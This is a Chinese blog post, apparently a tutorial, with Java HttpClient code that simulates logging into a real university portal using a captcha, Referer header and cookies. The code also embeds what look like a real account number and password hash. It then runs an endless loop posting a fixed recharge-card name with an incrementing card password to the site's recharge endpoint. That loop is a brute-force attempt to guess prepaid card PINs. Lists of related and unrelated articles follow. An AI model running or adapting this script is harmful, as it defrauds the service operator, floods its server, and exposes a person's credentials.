Java采用HttpClient对于Web登录
http://e.neusoft.edu.cn/nav_login
模拟浏览器登录该网站上方。登录server基于验证码、refer和cookie保护,此代码html档。
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner; import org.apache.http.Header;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;
public class HttpRequst {
public static void main(String strings[])
{
HttpClient httpclient = new DefaultHttpClient();
try
{
HttpGet getMethod=new HttpGet("http://e.neusoft.edu.cn/nav_login");
getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
HttpResponse response=httpclient.execute(getMethod);
Header arrHeaders[]=response.getAllHeaders();
EntityUtils.consume(response.getEntity()); getMethod=new HttpGet("http://e.neusoft.edu.cn/RandomCodeAction.action? randomNum=0.9179729035059037");
getMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
response=httpclient.execute(getMethod);
EntityUtils.consume(response.getEntity()); String checkcode="";
Scanner scan=new Scanner(System.in);
checkcode=scan.next(); HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/LoginAction.action");
postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_login");
List<NameValuePair> params=new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("account","13354284438"));
params.add(new BasicNameValuePair("password","c11d5abf846db275243d94b8472706d4"));
params.add(new BasicNameValuePair("code",""));
params.add(new BasicNameValuePair("checkcode",checkcode));
params.add(new BasicNameValuePair("Submit","Login"));
//加入參数
postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8));
//postMethod.setHeaders(arrHeaders);
response=httpclient.execute(postMethod);
EntityUtils.consume(response.getEntity()); class PostThread implements Runnable
{
private HttpClient myclient=null;
private int num=23453234;
public PostThread(HttpClient client)
{
myclient=client;
}
@Override
public void run() {
// TODO Auto-generated method stub
while(true)
{
HttpPost postMethod=new HttpPost("http://e.neusoft.edu.cn/rechargecard.action");
postMethod.setHeader("User-Agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)");
postMethod.setHeader("Referer", "http://e.neusoft.edu.cn/nav_Rcard");
List<NameValuePair> params=new ArrayList<NameValuePair>();
params.add(new BasicNameValuePair("cardName","046uijalz101480"));
params.add(new BasicNameValuePair("cardPsw",""+num++));
params.add(new BasicNameValuePair("Submit","提 交"));
HttpResponse response;
try {
postMethod.setEntity(new UrlEncodedFormEntity(params,HTTP.UTF_8));
response = myclient.execute(postMethod);
EntityUtils.consume(response.getEntity());
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} } }; PostThread mPostThread=new PostThread(httpclient);
mPostThread.run(); }
catch (IOException e)
{ }
finally
{ }
} }
版权声明:本文博主原创文章。博客,未经同意不得转载。
Java采用HttpClient对于Web登录的更多相关文章
- C# httpclient获取cookies实现模拟web登录
目前在公司做一款平台化的产品,我主要负责PC端上的开发,在产品推荐过程中为了节省开发时间很多功能模块没来得及做原生,用CEF嵌入了很多带功能web页面,与客户端进行交互从而实现功能. 在二期开发中,产 ...
- Java通过httpclient获取cookie模拟登录
package Step1; import org.apache.commons.httpclient.Cookie; import org.apache.commons.httpclient.Htt ...
- java web登录界面 源代码
大概流程: 在java web项目中 导入sqljdbc4的包 在java Resources中完成java代码 在webContent 下建立一个存放自己写jsp的文件夹 将sqljdbc4和jst ...
- 【转】 我的java web登录RSA加密
[转] 我的java web登录RSA加密 之前一直没关注过web应用登录密码加密的问题,这两天用appscan扫描应用,最严重的问题就是这个了,提示我明文发送密码.这个的确很不安全,以前也大概想过, ...
- java实现简单的单点登录
java实现简单的单点登录 摘要:单点登录(SSO)的技术被越来越广泛地运用到各个领域的软件系统当中.本文从业务的角度分析了单点登录的需求和应用领域:从技术本身的角度分析了单点登录技术的内部机制和实现 ...
- Android 采用HttpClient提交数据到服务器
在前几篇文章中<Android 采用get方式提交数据到服务器><Android 采用post方式提交数据到服务器>介绍了android的两种提交数据到服务器的方法 本文继续介 ...
- Web登录其实没那么简单
1. 一个简单的HTML例子看看用户信息安全 标准的HTML语法中,支持在form表单中使用<input></input>标签来创建一个HTTP提交的属性,现代的WEB登录中, ...
- [转]Web登录中的信心安全问题
1. 一个简单的HTML例子看看用户信息安全 标准的HTML语法中,支持在form表单中使用<input></input>标签来创建一个HTTP提交的属性,现代的WEB登录中, ...
- springboot 采用HttpClient获取天气预报 异常及原因
采用httpClient调用天气预报地址获取出现异常 2018-10-04 15:18:25.815 ERROR 10868 --- [nio-8080-exec-5] o.a.c.c.C.[.[.[ ...
随机推荐
- Otacle表查询
1 查询表结构 语法:desc 表 2 查询全部列 语法:select * from 表名 3 查询指定列 语法:select ...
- leetcode解析回文子串拆分
转载请注明来自souldak,微博:@evagle Given a string s, partition s such that every substring of the partition i ...
- libevent book——event | Gaccob的博客
libevent book——event | Gaccob的博客 libevent book——event 发表于 2013 年 2 月 22 日 由 gaccob 原文地址:http://www.w ...
- 从零开始,使用python快速开发web站点(1)
环境:ubuntu 12.04 python版本: 2.73 ok,首先,既然是从零开始,我们需要的是一台可以运行的python的计算机环境,并且假设你已经安装好了python, (ubuntu 或 ...
- unity3D的FingerGestures小工具
夹 FingerGestures包结构 FingerGestures样例列表 设置场景 教程:识别一个轻敲手势 教程:手势识别器 教程:轻击手势识别器 教程:拖拽手势识别器 教程:滑动手势识别器 教程 ...
- ARM裸编程系列---UART
S5PV210 UART说明 通用异步收发器缩写UART,这是UNIVERSAL ASYNCHRONOUS RECEIVER AND TRANSMITTER.它被用来传送串行数据.当发送数据,CPU将 ...
- HTML5:footer定位(底部+居中)的探讨+div图片居中问题
初学HTML+CSS布局,尝试自己写一个百度首页,可是footer的定位遇到麻烦而且百度没有好的解决方法,在此记录下逐步的过程.记录之,备忘. 初学,解决方法难免出现不妥之处,也请看到这篇文章的前辈指 ...
- 备份恢复与CRM集成的sharepoint站点
在部署CRM与Sharepoint2010集成文档管理之后,一直担心如果需要在新服务器上重新部署CRM, 那么之前与CRM集成的Sharepoint2010文档内容,是否可以重新正确映射到相应的文档位 ...
- 如何禁止使用teamviwer的使用
前几天有人问我teamviwer怎么禁止,刚开始做实验的时候过滤了teramviwer.com解析出来的IP,可是还是没有用,其实将teamviwer登陆的服务器地址在路由器上过滤,teramviwe ...
- Android中callback(接口回调)机制
事实上,callback 机制在Android 中无处不在,特别是以Handler.Callback.Listener这三个词结尾的,都是利用callback机制来实现的.比方点击事件onClickL ...